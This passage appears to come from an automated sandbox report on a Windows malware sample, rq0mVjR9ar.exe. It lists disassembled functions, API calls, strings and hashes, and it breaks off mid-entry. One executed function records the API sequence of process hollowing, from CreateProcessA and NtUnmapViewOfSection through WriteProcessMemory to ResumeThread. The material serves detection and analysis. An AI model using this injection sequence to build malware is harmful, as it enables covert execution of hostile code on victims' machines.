_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F25B, 0044F247

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rq0mVjR9ar.exePID: 5792, Parent PID: 4324COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05E50110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E50156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E5016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E50255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E50270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E50283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E5029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E502C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E502E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E50304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E5032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E50399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E503BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E503E1
ResumeThread.KERNELBASE(00000000), ref: 05E503ED
ExitProcess.KERNEL32(00000000), ref: 05E50412

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 9a5ace8f25cc47a2611ba32780acea12f1fabd878d278eb66fd4a0e2afaa709b
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3BB1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E949AB391D771AD41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05E50420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E50533

Strings

0, xrefs: 05E50492
saodkfnosa9uin, xrefs: 05E504DA
mfoaskdfnoa, xrefs: 05E50520, 05E50523
d, xrefs: 05E50584

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 217491353186332cc938d60896d5c61b24515094ea2762847187f44d324e31db
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: CD512B70D08388DEEB11CBE8C849BEDBFB26F11718F144058E5847F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05E505B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E505EC

Strings

apfHQ, xrefs: 05E505E2, 05E505E5
o, xrefs: 05E50600

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c28f0df7bafa20223563e7b250150bdb4f02b90a9e1feeafe9b1f974952227fe
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 1A012170C0424CEEDF11DF98C5183AEBFB5AF41308F1480D9D8492B241D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 042397C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 042397EE
Module32First.KERNEL32(00000000,00000224), ref: 0423980E

Memory Dump Source

Source File: 00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp, Offset: 04239000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4239000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 16a5f50ba885885258fec1514924c3047eccc32a828d26cf9c0bfba0e31d6624
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3DF062B17107116BE7203FB5A88DA6A76FCAF8A726F100668E646951C0DAB0F8854A61

Uniqueness

Uniqueness Score: -1.00%

Function 04239485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 042394D6

Memory Dump Source

Source File: 00000005.00000002.2096556256.0000000004239000.00000040.00000020.00020000.00000000.sdmp, Offset: 04239000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4239000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 340709706840a7b4f50ac81a0bbdea6eca35087d26a44944556c7e9cf2d8eb95
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 44112BB9A00208EFDB01DF98C985E99BFF5AF08351F058094F9489B361D371EA90DF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E76437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 05E7644E

Part of subcall function 05E79636: __calloc_impl.LIBCMT ref: 05E79645

__calloc_crt.LIBCMT ref: 05E76472
_free.LIBCMT ref: 05E76480
__calloc_crt.LIBCMT ref: 05E7648E
_free.LIBCMT ref: 05E7649E
_free.LIBCMT ref: 05E764A4
__copytlocinfo_nolock.LIBCMT ref: 05E764B3
__setmbcp_nolock.LIBCMT ref: 05E764D4
_free.LIBCMT ref: 05E764E2
___removelocaleref.LIBCMT ref: 05E764E9
___freetlocinfo.LIBCMT ref: 05E764F0
_free.LIBCMT ref: 05E764F6

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 5d69a685fa1163737ce11c01a2bb16f43aa7aa04da54e4e6268f9b65c29e65f1
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 9D21C031308A09AFFB397F65EC09E5B7BE5FF41668B50A429E4C6550A0FB22C550CB90

Uniqueness

Uniqueness Score: -1.00%

Function 05E73F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E73F51

Part of subcall function 05E75BA8: __getptd_noexit.LIBCMT ref: 05E75BA8

__gmtime64_s.LIBCMT ref: 05E73FEA
__gmtime64_s.LIBCMT ref: 05E74020
__gmtime64_s.LIBCMT ref: 05E7403D
__allrem.LIBCMT ref: 05E74093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E740AF
__allrem.LIBCMT ref: 05E740C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E740E4
__allrem.LIBCMT ref: 05E740FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 05E74119
__invoke_watson.LIBCMT ref: 05E7418A

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: a52f4a859ff5c9132df9fde72372939a51285735288263c72f8ca783dc3f4e5d
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: DE71E671B0071EABEB24EE79CC44BBAB3B9BF04364F145529E598D76C0E770E9048790

Uniqueness

Uniqueness Score: -1.00%

Function 05E7650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 05E76547
__calloc_crt.LIBCMT ref: 05E76598
__lock.LIBCMT ref: 05E765AE
__copytlocinfo_nolock.LIBCMT ref: 05E765BF
_wcscmp.LIBCMT ref: 05E765F9
__lock.LIBCMT ref: 05E76610
__updatetlocinfoEx_nolock.LIBCMT ref: 05E76622
___removelocaleref.LIBCMT ref: 05E76628
__updatetlocinfoEx_nolock.LIBCMT ref: 05E76647

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: aabb3bc23d4052139638562a31f4462de4031b5658a01a52b1a56a42b4261257
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: D0412332A0470CAFEB10AFE4DC88BAE3BE5FF04328F10642EE99496191DB759644DB55

Uniqueness

Uniqueness Score: -1.00%

Function 05E784AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 05E784B1
_free.LIBCMT ref: 05E784E2
_free.LIBCMT ref: 05E784F5
_free.LIBCMT ref: 05E78513
_free.LIBCMT ref: 05E78525
_free.LIBCMT ref: 05E78536
_free.LIBCMT ref: 05E78541
_free.LIBCMT ref: 05E78565
_free.LIBCMT ref: 05E78581
_free.LIBCMT ref: 05E78597
_free.LIBCMT ref: 05E785BF

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: da7202f2cd147e620731d92238c2b37c0cdf17af136f9f36ed18a57e97a437ae
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: AD31D431A08258DBDB299F14FC8C84977A4FB24324304A62AE9C5572A0CBB099C8EF90

Uniqueness

Uniqueness Score: -1.00%

Function 05E9FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 05E9FC1F

Part of subcall function 05E8169C: std::exception::_Copy_str.LIBCMT ref: 05E816B5

__CxxThrowException@8.LIBCMT ref: 05E9FC34
std::exception::exception.LIBCMT ref: 05E9FC4D
__CxxThrowException@8.LIBCMT ref: 05E9FC62
std::regex_error::regex_error.LIBCPMT ref: 05E9FC74

Part of subcall function 05E9F914: std::exception::exception.LIBCMT ref: 05E9F92E

__CxxThrowException@8.LIBCMT ref: 05E9FC82
std::exception::exception.LIBCMT ref: 05E9FC9B
__CxxThrowException@8.LIBCMT ref: 05E9FCB0

Strings

leM, xrefs: 05E9FCA8

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 7421847d3f3b894a8c4c36373e26e58a5f6839c382e2b6ff9f288c4b2f93e14f
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 7211FE79D0020DBBCF04FFA5D459CEEBB7CAB04344F408566AD5897240EB74A349CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E5F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 05E5F01F

Part of subcall function 05E71602: __FF_MSGBANNER.LIBCMT ref: 05E71619
Part of subcall function 05E71602: __NMSG_WRITE.LIBCMT ref: 05E71620

_malloc.LIBCMT ref: 05E5F02B
_wprintf.LIBCMT ref: 05E5F03E
_free.LIBCMT ref: 05E5F044
_free.LIBCMT ref: 05E5F065
_malloc.LIBCMT ref: 05E5F06D
_sprintf.LIBCMT ref: 05E5F0C0
_wprintf.LIBCMT ref: 05E5F0D2
_wprintf.LIBCMT ref: 05E5F0DC
_free.LIBCMT ref: 05E5F0E5

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 1477a15dede3701d23864f1343f1afc88afd2af9c96a8d55b3166ca37d769210
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 891124B6A006586AD661A6F45C19EFF3BDC9F45212F0810A9FFDCD1180DA189A0493B1

Uniqueness

Uniqueness Score: -1.00%

Function 05E61960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E619C6
__CxxThrowException@8.LIBCMT ref: 05E619F1
__CxxThrowException@8.LIBCMT ref: 05E61A1A
__CxxThrowException@8.LIBCMT ref: 05E61A4B
_memset.LIBCMT ref: 05E61A6A
__CxxThrowException@8.LIBCMT ref: 05E61A90
_malloc.LIBCMT ref: 05E61AA0
_memset.LIBCMT ref: 05E61AAB
_sprintf.LIBCMT ref: 05E61ACE

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e3f855ca25f89acd3f2cade8119a871abccb2119f421b0397c16470d9b29ce3b
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 42513C71E40209ABEB11DBA5DC8AFEFBBB8FB04784F101025F945B6180E7745A05CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05E5F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E5F284
__CxxThrowException@8.LIBCMT ref: 05E5F2AF
__CxxThrowException@8.LIBCMT ref: 05E5F2DE
__CxxThrowException@8.LIBCMT ref: 05E5F30F
_memset.LIBCMT ref: 05E5F32E
__CxxThrowException@8.LIBCMT ref: 05E5F354
_sprintf.LIBCMT ref: 05E5F373

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: f3554fc5df9cf0454282bf591e2953e3692fefbd40c48fe31b3289088a7b164f
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: CE515FB1E40209AAEF11DFA1DC4AFFEBB79FB04744F101025FA55B6180E775AA058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E5F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 05E5F4B7
__CxxThrowException@8.LIBCMT ref: 05E5F4E2
__CxxThrowException@8.LIBCMT ref: 05E5F504
__CxxThrowException@8.LIBCMT ref: 05E5F535
_memset.LIBCMT ref: 05E5F554
__CxxThrowException@8.LIBCMT ref: 05E5F57A
_sprintf.LIBCMT ref: 05E5F594

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 80d484139ce5db01164ec1923144b8961a9521c3dc779ad617dbac88a11f2895
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: F95162B1E40209AADF11DFA1DC8AFFFBBB8FB04754F101129F955B6180E7746A058BA4

Uniqueness

Uniqueness Score: -1.00%

Function 05E9208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 05E920C6
__invoke_watson.LIBCMT ref: 05E92120
_strlen.LIBCMT ref: 05E920D4

Part of subcall function 05E75BA8: __getptd_noexit.LIBCMT ref: 05E75BA8

_strnlen.LIBCMT ref: 05E9215F
__lock.LIBCMT ref: 05E92170
__getenv_helper_nolock.LIBCMT ref: 05E9217B

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 22c769c4e0f47ba45f2f26a5822d736a9efacb04f459fa37f73e8a8eb6de60da
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: B7313B36B043297BFF29AF65DC08BAE3755AF05B24F106015EB85DF280DB748940C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 05F166D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 05F166DD

Part of subcall function 05E759BF: __calloc_crt.LIBCMT ref: 05E759E2
Part of subcall function 05E759BF: __initptd.LIBCMT ref: 05E75A04

__calloc_crt.LIBCMT ref: 05F16700
__get_sys_err_msg.LIBCMT ref: 05F1671E
__invoke_watson.LIBCMT ref: 05F1673B
__get_sys_err_msg.LIBCMT ref: 05F1676D
__invoke_watson.LIBCMT ref: 05F1678B

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: c71fa64a3d1f13657ce9bc77bb2417d140f3e49390a3fb2dd4b75f8d064aeda7
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 5911A732B016186BEB217765DC48E7B739DEF04761F010866FD48DAA40EB39DD0046D9

Uniqueness

Uniqueness Score: -1.00%

Function 05E62670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 05E626DB
_memset.LIBCMT ref: 05E62A30
_memset.LIBCMT ref: 05E62AC0

Strings

D, xrefs: 05E62AC8

Memory Dump Source

Source File: 00000005.00000002.2096673431.0000000005E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5e50000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
